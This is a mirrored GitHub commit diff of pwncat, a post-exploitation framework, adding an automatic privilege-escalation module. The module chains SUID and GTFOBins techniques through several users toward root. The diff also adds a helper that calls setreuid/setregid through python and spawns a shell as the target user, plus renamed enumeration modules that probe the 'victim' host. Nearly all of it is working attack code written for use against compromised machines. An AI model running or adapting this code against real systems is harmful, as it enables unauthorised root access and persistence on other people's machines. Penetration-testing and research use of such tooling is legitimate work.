mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-30 12:24:14 +01:00
Initial partially functioning auto escalation
Also renamed some enumeration types and added type-globbing for the `types` parameter of enumerations (e.g. run enumerate.gather types=system.*)
This commit is contained in:
parent
1706213920
commit
4ecbca9543
@ -9,12 +9,18 @@ from pwncat.commands.base import CommandDefinition, Complete, Parameter
|
||||
|
||||
class Command(CommandDefinition):
|
||||
"""
|
||||
Run a shell command on the victim host and display the output.
|
||||
Run a module. If no module is specified, use the module in the
|
||||
current context. You can enter a module context with the `use`
|
||||
command.
|
||||
|
||||
**NOTE** This must be a non-interactive command. If an interactive command
|
||||
is run, you will have to use C-c to return to the pwncat prompt and then
|
||||
C-d to get back to your interactive remote prompt in order to interact
|
||||
with the remote host again!"""
|
||||
Module arguments can be appended to the run command with `variable=value`
|
||||
syntax. Arguments are type-checked prior to executing, and the results
|
||||
are displayed to the terminal.
|
||||
|
||||
To locate available modules, you can use the `search` command. To
|
||||
find documentation on individual modules including expected
|
||||
arguments, you can use the `info` command.
|
||||
"""
|
||||
|
||||
def get_module_choices(self):
|
||||
yield from [module.name for module in pwncat.modules.match(".*")]
|
||||
@ -27,8 +33,9 @@ class Command(CommandDefinition):
|
||||
"module": Parameter(
|
||||
Complete.CHOICES,
|
||||
nargs="?",
|
||||
metavar="MODULE",
|
||||
choices=get_module_choices,
|
||||
help="The module path to execute",
|
||||
help="The module name to execute",
|
||||
),
|
||||
"args": Parameter(Complete.NONE, nargs="*", help="Module arguments"),
|
||||
}
|
||||
@ -50,10 +57,12 @@ class Command(CommandDefinition):
|
||||
name, value = arg.split("=")
|
||||
values[name] = value
|
||||
|
||||
pwncat.victim.config.locals.update(values)
|
||||
# pwncat.victim.config.locals.update(values)
|
||||
config_values = pwncat.victim.config.locals.copy()
|
||||
config_values.update(values)
|
||||
|
||||
try:
|
||||
result = pwncat.modules.run(args.module, **pwncat.victim.config.locals)
|
||||
result = pwncat.modules.run(args.module, **config_values)
|
||||
pwncat.victim.config.back()
|
||||
except pwncat.modules.ModuleNotFound:
|
||||
console.log(f"[red]error[/red]: {args.module}: not found")
|
||||
|
@ -118,6 +118,11 @@ def run_decorator(real_run):
|
||||
|
||||
def decorator(self, progress=None, **kwargs):
|
||||
|
||||
if "exec" in kwargs:
|
||||
has_exec = True
|
||||
else:
|
||||
has_exec = False
|
||||
|
||||
# Validate arguments
|
||||
for key in kwargs:
|
||||
if key in self.ARGUMENTS:
|
||||
@ -135,6 +140,9 @@ def run_decorator(real_run):
|
||||
elif key not in kwargs and self.ARGUMENTS[key].default is NoValue:
|
||||
raise MissingArgument(key)
|
||||
|
||||
if "exec" in kwargs and kwargs["exec"] and not has_exec:
|
||||
raise Exception(f"What the hell? {self.ARGUMENTS['exec'].default}")
|
||||
|
||||
# Save progress reference
|
||||
self.progress = progress
|
||||
|
||||
|
@ -1,5 +1,6 @@
|
||||
#!/usr/bin/env python3
|
||||
from enum import Enum, auto
|
||||
import fnmatch
|
||||
import time
|
||||
|
||||
import sqlalchemy
|
||||
@ -78,9 +79,12 @@ class EnumerateModule(BaseModule):
|
||||
)
|
||||
|
||||
if types:
|
||||
existing_facts = existing_facts.filter(pwncat.db.Fact.type.in_(types))
|
||||
|
||||
yield from existing_facts.all()
|
||||
for fact in existing_facts.all():
|
||||
for typ in types:
|
||||
if fnmatch.fnmatch(fact.type, typ):
|
||||
yield fact
|
||||
else:
|
||||
yield from existing_facts.all()
|
||||
|
||||
if self.SCHEDULE != Schedule.ALWAYS:
|
||||
exists = (
|
||||
@ -109,8 +113,12 @@ class EnumerateModule(BaseModule):
|
||||
continue
|
||||
|
||||
# Don't yield the actual fact if we didn't ask for this type
|
||||
if types and row.type not in types:
|
||||
yield Status(data)
|
||||
if types:
|
||||
for typ in types:
|
||||
if fnmatch.fnmatch(row.type, typ):
|
||||
yield row
|
||||
else:
|
||||
yield Status(data)
|
||||
else:
|
||||
yield row
|
||||
|
||||
|
@ -30,7 +30,7 @@ class Module(EnumerateModule):
|
||||
:return:
|
||||
"""
|
||||
|
||||
PROVIDES = ["arch"]
|
||||
PROVIDES = ["system.arch"]
|
||||
|
||||
def enumerate(self):
|
||||
"""
|
||||
@ -43,4 +43,4 @@ class Module(EnumerateModule):
|
||||
except FileNotFoundError:
|
||||
return
|
||||
|
||||
yield "arch", ArchData(result)
|
||||
yield "system.arch", ArchData(result)
|
||||
|
@ -25,7 +25,7 @@ class Module(EnumerateModule):
|
||||
:return:
|
||||
"""
|
||||
|
||||
PROVIDES = ["aslr"]
|
||||
PROVIDES = ["system.aslr"]
|
||||
|
||||
def enumerate(self):
|
||||
|
||||
@ -38,6 +38,6 @@ class Module(EnumerateModule):
|
||||
value = None
|
||||
|
||||
if value is not None:
|
||||
yield "aslr", ASLRStateData(value)
|
||||
yield "system.aslr", ASLRStateData(value)
|
||||
except (FileNotFoundError, PermissionError):
|
||||
pass
|
@ -23,29 +23,30 @@ class Module(EnumerateModule):
|
||||
:return:
|
||||
"""
|
||||
|
||||
PROVIDES = ["container"]
|
||||
PROVIDES = ["system.container"]
|
||||
|
||||
def enumerate(self):
|
||||
|
||||
try:
|
||||
with pwncat.victim.open("/proc/self/cgroup", "r") as filp:
|
||||
if "docker" in filp.read().lower():
|
||||
yield "container", ContainerData("docker")
|
||||
yield "system.container", ContainerData("docker")
|
||||
return
|
||||
except (FileNotFoundError, PermissionError):
|
||||
pass
|
||||
|
||||
with pwncat.victim.subprocess(
|
||||
f'find / -maxdepth 3 -name "*dockerenv*" -exec ls -la {{}} \\; 2>/dev/null', "r"
|
||||
f'find / -maxdepth 3 -name "*dockerenv*" -exec ls -la {{}} \\; 2>/dev/null',
|
||||
"r",
|
||||
) as pipe:
|
||||
if pipe.read().strip() != b"":
|
||||
yield "container", ContainerData("docker")
|
||||
yield "system.container", ContainerData("docker")
|
||||
return
|
||||
|
||||
try:
|
||||
with pwncat.victim.open("/proc/1/environ", "r") as filp:
|
||||
if "container=lxc" in filp.read().lower():
|
||||
yield "container", ContainerData("lxc")
|
||||
yield "system.container", ContainerData("lxc")
|
||||
return
|
||||
except (FileNotFoundError, PermissionError):
|
||||
pass
|
@ -29,13 +29,14 @@ class DistroVersionData:
|
||||
f"Build ID [green]{self.build_id}[/green]."
|
||||
)
|
||||
|
||||
|
||||
class Module(EnumerateModule):
|
||||
"""
|
||||
Enumerate kernel/OS version information
|
||||
:return:
|
||||
"""
|
||||
|
||||
PROVIDES = ["distro"]
|
||||
PROVIDES = ["system.distro"]
|
||||
|
||||
def enumerate(self):
|
||||
|
||||
@ -69,7 +70,12 @@ class Module(EnumerateModule):
|
||||
except (PermissionError, FileNotFoundError):
|
||||
pass
|
||||
|
||||
if pretty_name is None and build_id is None and ident is None and version is None:
|
||||
if (
|
||||
pretty_name is None
|
||||
and build_id is None
|
||||
and ident is None
|
||||
and version is None
|
||||
):
|
||||
return
|
||||
|
||||
yield "distro", DistroVersionData(pretty_name, ident, build_id, version)
|
||||
yield "system.distro", DistroVersionData(pretty_name, ident, build_id, version)
|
||||
|
@ -13,13 +13,13 @@ class Module(EnumerateModule):
|
||||
:return: A generator of hostname facts
|
||||
"""
|
||||
|
||||
PROVIDES = ["hostname"]
|
||||
PROVIDES = ["network.hostname"]
|
||||
|
||||
def enumerate(self):
|
||||
|
||||
try:
|
||||
hostname = pwncat.victim.env(["hostname", "-f"]).decode("utf-8").strip()
|
||||
yield "hostname", hostname
|
||||
yield "network.hostname", hostname
|
||||
return
|
||||
except FileNotFoundError:
|
||||
pass
|
||||
@ -30,7 +30,7 @@ class Module(EnumerateModule):
|
||||
for name in hostname:
|
||||
if "static hostname" in name.lower():
|
||||
hostname = name.split(": ")[1]
|
||||
yield "hostname", hostname
|
||||
yield "network.hostname", hostname
|
||||
return
|
||||
except (FileNotFoundError, IndexError):
|
||||
pass
|
||||
|
@ -7,6 +7,7 @@ import pwncat
|
||||
from pwncat import util
|
||||
from pwncat.modules.enumerate import EnumerateModule, Schedule
|
||||
|
||||
|
||||
@dataclasses.dataclass
|
||||
class HostData:
|
||||
|
||||
@ -17,13 +18,14 @@ class HostData:
|
||||
joined_hostnames = ", ".join(self.hostnames)
|
||||
return f"[cyan]{self.address}[/cyan] -> [blue]{joined_hostnames}[/blue]"
|
||||
|
||||
|
||||
class Module(EnumerateModule):
|
||||
"""
|
||||
Enumerate hosts identified in /etc/hosts which are not localhost
|
||||
:return:
|
||||
"""
|
||||
|
||||
PROVIDES = ["hosts"]
|
||||
PROVIDES = ["network.hosts"]
|
||||
|
||||
def enumerate(self):
|
||||
|
||||
@ -45,6 +47,6 @@ class Module(EnumerateModule):
|
||||
):
|
||||
continue
|
||||
address, *hostnames = [e for e in line.split(" ") if e != ""]
|
||||
yield "hosts", HostData(address, hostnames)
|
||||
yield "network.hosts", HostData(address, hostnames)
|
||||
except (PermissionError, FileNotFoundError):
|
||||
pass
|
||||
|
@ -4,20 +4,20 @@ import dataclasses
|
||||
|
||||
import pwncat
|
||||
from pwncat import util
|
||||
from pwncat.modules import Result
|
||||
from pwncat.modules.enumerate import EnumerateModule, Schedule
|
||||
|
||||
|
||||
@dataclasses.dataclass
|
||||
class InitSystemData:
|
||||
class InitSystemData(Result):
|
||||
|
||||
init: util.Init
|
||||
version: str
|
||||
|
||||
def __str__(self):
|
||||
@property
|
||||
def title(self):
|
||||
return f"Running [blue]{self.init}[/blue]"
|
||||
|
||||
@property
|
||||
def description(self):
|
||||
return self.version
|
||||
|
||||
class Module(EnumerateModule):
|
||||
"""
|
||||
@ -25,7 +25,7 @@ class Module(EnumerateModule):
|
||||
:return:
|
||||
"""
|
||||
|
||||
PROVIDES = ["init"]
|
||||
PROVIDES = ["system.init"]
|
||||
|
||||
def enumerate(self):
|
||||
|
||||
@ -74,4 +74,4 @@ class Module(EnumerateModule):
|
||||
if version == "":
|
||||
version = None
|
||||
|
||||
yield "init", InitSystemData(init, version)
|
||||
yield "system.init", InitSystemData(init, version)
|
||||
|
@ -6,6 +6,7 @@ import pwncat
|
||||
from pwncat import util
|
||||
from pwncat.modules.enumerate import EnumerateModule, Schedule
|
||||
|
||||
|
||||
@dataclasses.dataclass
|
||||
class KernelVersionData:
|
||||
"""
|
||||
@ -28,12 +29,14 @@ class KernelVersionData:
|
||||
f"[blue]{self.patch}[/blue]-[cyan]{self.abi}[/cyan]"
|
||||
)
|
||||
|
||||
|
||||
class Module(EnumerateModule):
|
||||
"""
|
||||
Enumerate kernel/OS version information
|
||||
:return:
|
||||
"""
|
||||
PROVIDES = ["kernel"]
|
||||
|
||||
PROVIDES = ["system.kernel"]
|
||||
|
||||
def enumerate(self):
|
||||
|
||||
@ -62,4 +65,4 @@ class Module(EnumerateModule):
|
||||
y = y_and_z[0]
|
||||
z = "-".join(y_and_z[1:])
|
||||
|
||||
yield "kernel", KernelVersionData(int(w), int(x), int(y), z)
|
||||
yield "system.kernel", KernelVersionData(int(w), int(x), int(y), z)
|
||||
|
@ -21,6 +21,62 @@ class EscalateError(Exception):
|
||||
""" Indicates an error while attempting some escalation action """
|
||||
|
||||
|
||||
def fix_euid_mismatch(target_uid: int, target_gid: int):
|
||||
""" Attempt to gain EUID=UID=target_uid.
|
||||
|
||||
This is intended to fix EUID/UID mismatches after a escalation.
|
||||
"""
|
||||
|
||||
pythons = [
|
||||
"python",
|
||||
"python3",
|
||||
"python3.6",
|
||||
"python3.8",
|
||||
"python3.9",
|
||||
"python2.7",
|
||||
"python2.6",
|
||||
]
|
||||
for python in pythons:
|
||||
python_path = pwncat.victim.which(python)
|
||||
if python_path is not None:
|
||||
break
|
||||
|
||||
if python_path is not None:
|
||||
command = f"exec {python_path} -c '"
|
||||
command += f"""import os; os.setreuid({target_uid}, {target_uid}); os.setregid({target_gid}, {target_gid}); os.system("{pwncat.victim.shell}")"""
|
||||
command += "'\n"
|
||||
pwncat.victim.process(command)
|
||||
|
||||
new_id = pwncat.victim.id
|
||||
if new_id["uid"]["id"] == target_uid and new_id["gid"]["id"] == target_gid:
|
||||
return
|
||||
|
||||
raise EscalateError("failed to resolve euid/uid mismatch")
|
||||
|
||||
|
||||
def euid_fix(technique_class):
|
||||
"""
|
||||
Decorator for Technique classes which may end up with a RUID/EUID
|
||||
mismatch. This will check the resulting UID before/after to see
|
||||
if the change was affective and attempt to fix it.
|
||||
"""
|
||||
|
||||
class Wrapper(technique_class):
|
||||
def exec(self, binary: str):
|
||||
|
||||
# Run the real exec
|
||||
super(Wrapper, self).exec(binary)
|
||||
|
||||
# Check id again
|
||||
ending_id = pwncat.victim.id
|
||||
|
||||
# If needed fix the UID
|
||||
if ending_id["euid"]["id"] != ending_id["uid"]["id"]:
|
||||
fix_euid_mismatch(ending_id["euid"]["id"], ending_id["egid"]["id"])
|
||||
|
||||
return Wrapper
|
||||
|
||||
|
||||
@dataclasses.dataclass
|
||||
class Technique:
|
||||
""" Describes a technique possible through some module.
|
||||
@ -196,6 +252,17 @@ class EscalateChain(Result):
|
||||
""" Add a link in the chain """
|
||||
self.chain.append((technique, exit_cmd))
|
||||
|
||||
def extend(self, chain: "EscalateChain"):
|
||||
""" Extend this chain with another chain """
|
||||
self.chain.extend(chain.chain)
|
||||
|
||||
def pop(self):
|
||||
""" Exit and remove the last link in the chain """
|
||||
_, exit_cmd = self.chain.pop()
|
||||
pwncat.victim.client.send(exit_cmd)
|
||||
pwncat.victim.reset(hard=False)
|
||||
pwncat.victim.update_user()
|
||||
|
||||
def unwrap(self):
|
||||
""" Exit each shell in the chain with the provided exit script """
|
||||
|
||||
@ -204,6 +271,9 @@ class EscalateChain(Result):
|
||||
# Send the exit command
|
||||
pwncat.victim.client.send(exit_cmd)
|
||||
|
||||
pwncat.victim.reset(hard=False)
|
||||
pwncat.victim.update_user()
|
||||
|
||||
|
||||
@dataclasses.dataclass
|
||||
class EscalateResult(Result):
|
||||
@ -238,7 +308,7 @@ class EscalateResult(Result):
|
||||
This allows you to enumerate multiple modules and utilize all their
|
||||
techniques together to perform escalation. """
|
||||
|
||||
for key, value in result.techniques:
|
||||
for key, value in result.techniques.items():
|
||||
if key not in self.techniques:
|
||||
self.techniques[key] = value
|
||||
else:
|
||||
@ -328,6 +398,7 @@ class EscalateResult(Result):
|
||||
|
||||
original_user = pwncat.victim.current_user
|
||||
original_id = pwncat.victim.id
|
||||
target_user = pwncat.victim.users[user]
|
||||
task = progress.add_task("", module="escalating", status="...")
|
||||
|
||||
if user in self.techniques:
|
||||
@ -358,7 +429,9 @@ class EscalateResult(Result):
|
||||
|
||||
# Check that the escalation succeeded
|
||||
new_id = pwncat.victim.id
|
||||
if new_id["euid"] == original_id["euid"]:
|
||||
if new_id["euid"]["id"] != target_user.id:
|
||||
pwncat.victim.client.send(exit_cmd.encode("utf-8"))
|
||||
pwncat.victim.flush_output(some=False)
|
||||
continue
|
||||
|
||||
return EscalateChain(
|
||||
@ -492,6 +565,9 @@ class EscalateResult(Result):
|
||||
# The test worked! Run the real escalate command
|
||||
pwncat.victim.process(command)
|
||||
|
||||
pwncat.victim.reset(hard=False)
|
||||
pwncat.victim.update_user()
|
||||
|
||||
return EscalateChain(original_user.name, [(used_tech, "exit")])
|
||||
|
||||
raise EscalateError(f"exec as {user} not possible")
|
||||
|
152
pwncat/modules/escalate/auto.py
Normal file
152
pwncat/modules/escalate/auto.py
Normal file
@ -0,0 +1,152 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
from pwncat.modules import (
|
||||
BaseModule,
|
||||
Bool,
|
||||
Result,
|
||||
Status,
|
||||
Argument,
|
||||
ArgumentFormatError,
|
||||
MissingArgument,
|
||||
)
|
||||
from pwncat.modules.escalate import (
|
||||
EscalateChain,
|
||||
EscalateResult,
|
||||
EscalateModule,
|
||||
FileContentsResult,
|
||||
EscalateError,
|
||||
)
|
||||
import pwncat.modules
|
||||
|
||||
|
||||
class Module(BaseModule):
|
||||
"""
|
||||
Attempt to automatically escalate to the given user through
|
||||
any path available. This may cause escalation through multiple
|
||||
users.
|
||||
"""
|
||||
|
||||
ARGUMENTS = {
|
||||
"user": Argument(str, default="root", help="The target user for escalation"),
|
||||
"exec": Argument(
|
||||
Bool, default=False, help="Attempt to execute a shell as the given user"
|
||||
),
|
||||
"read": Argument(
|
||||
Bool, default=False, help="Attempt to read a file as the given user"
|
||||
),
|
||||
"write": Argument(
|
||||
Bool, default=False, help="Attempt to write a file as the given user"
|
||||
),
|
||||
"shell": Argument(
|
||||
str, default="current", help="The shell to use for escalation"
|
||||
),
|
||||
"path": Argument(
|
||||
str, default=None, help="The path to the file to be read/written"
|
||||
),
|
||||
"data": Argument(str, default=None, help="The data to be written"),
|
||||
}
|
||||
COLLAPSE_RESULT = True
|
||||
|
||||
def run(self, user, exec, write, read, path, data, shell):
|
||||
|
||||
whole_chain = EscalateChain(None, chain=[])
|
||||
tried_users = []
|
||||
result_list = []
|
||||
target_user = user
|
||||
|
||||
if (exec + write + read) > 1:
|
||||
raise pwncat.modules.ArgumentFormatError(
|
||||
"only one of exec/write/read may be used"
|
||||
)
|
||||
|
||||
if (read or write) and path is None:
|
||||
raise ArgumentFormatError("file path not specified")
|
||||
|
||||
if write and data is None:
|
||||
raise ArgumentFormatError("file content not specified")
|
||||
|
||||
if shell == "current":
|
||||
shell = pwncat.victim.shell
|
||||
|
||||
# Collect escalation options
|
||||
result = EscalateResult(techniques={})
|
||||
for module in pwncat.modules.match(r"escalate\..*", base=EscalateModule):
|
||||
try:
|
||||
result.extend(module.run(progress=self.progress))
|
||||
except (ArgumentFormatError, MissingArgument):
|
||||
continue
|
||||
|
||||
while True:
|
||||
|
||||
if exec:
|
||||
chain = result.exec(target_user, shell, self.progress)
|
||||
whole_chain.extend(chain)
|
||||
yield whole_chain
|
||||
return
|
||||
elif write:
|
||||
result.write(target_user, path, data, self.progress)
|
||||
whole_chain.unwrap()
|
||||
return
|
||||
elif read:
|
||||
filp = result.read(target_user, path, self.progress)
|
||||
original_close = filp.close
|
||||
|
||||
# We need to call unwrap after reading the data
|
||||
def close_wrapper():
|
||||
original_close()
|
||||
whole_chain.unwrap()
|
||||
|
||||
filp.close = close_wrapper
|
||||
|
||||
yield FileContentsResult(path, filp)
|
||||
return
|
||||
else:
|
||||
# We just wanted to list all techniques from all modules
|
||||
yield result
|
||||
return
|
||||
|
||||
for user in result.techniques.keys():
|
||||
# Ignore already tried users
|
||||
if user in tried_users:
|
||||
continue
|
||||
|
||||
# Mark this user as tried
|
||||
tried_users.append(user)
|
||||
|
||||
try:
|
||||
# Attempt escalation
|
||||
chain = result.exec(user, shell, self.progress)
|
||||
|
||||
# Extend the chain with this new chain
|
||||
whole_chain.extend(chain)
|
||||
|
||||
# Save our current results in the list
|
||||
result_list.append(result)
|
||||
|
||||
# Get new results for this user
|
||||
result = EscalateResult(techniques={})
|
||||
for module in pwncat.modules.match(
|
||||
r"escalate\..*", base=EscalateModule
|
||||
):
|
||||
try:
|
||||
result.extend(module.run(progress=self.progress))
|
||||
except (
|
||||
ArgumentFormatError,
|
||||
MissingArgument,
|
||||
):
|
||||
continue
|
||||
|
||||
# Try again
|
||||
break
|
||||
except EscalateError:
|
||||
continue
|
||||
else:
|
||||
|
||||
if not result_list:
|
||||
# There are no more results to try...
|
||||
raise EscalateError("no escalation path found")
|
||||
|
||||
# The loop was exhausted. This user didn't work.
|
||||
# Go back to the previous step, but don't try this user
|
||||
whole_chain.pop()
|
||||
result = result_list.pop()
|
@ -2,7 +2,17 @@
|
||||
|
||||
import pwncat
|
||||
from pwncat.gtfobins import Capability, Stream, BinaryNotFound
|
||||
from pwncat.modules.escalate import EscalateModule, EscalateError, GTFOTechnique
|
||||
from pwncat.modules.escalate import (
|
||||
EscalateModule,
|
||||
EscalateError,
|
||||
GTFOTechnique,
|
||||
euid_fix,
|
||||
)
|
||||
|
||||
|
||||
@euid_fix
|
||||
class SUIDTechnique(GTFOTechnique):
|
||||
""" Same as GTFO Technique but with EUID fix decorator """
|
||||
|
||||
|
||||
class Module(EscalateModule):
|
||||
@ -27,7 +37,7 @@ class Module(EscalateModule):
|
||||
for method in binary.iter_methods(
|
||||
fact.data.path, Capability.ALL, Stream.ANY
|
||||
):
|
||||
yield GTFOTechnique(fact.data.owner.name, self, method, suid=True)
|
||||
yield SUIDTechnique(fact.data.owner.name, self, method, suid=True)
|
||||
|
||||
def human_name(self, tech: "Technique"):
|
||||
return f"[cyan]{tech.method.binary_path}[/cyan] ([red]setuid[/red])"
|
||||
|
Loading…
Reference in New Issue
Block a user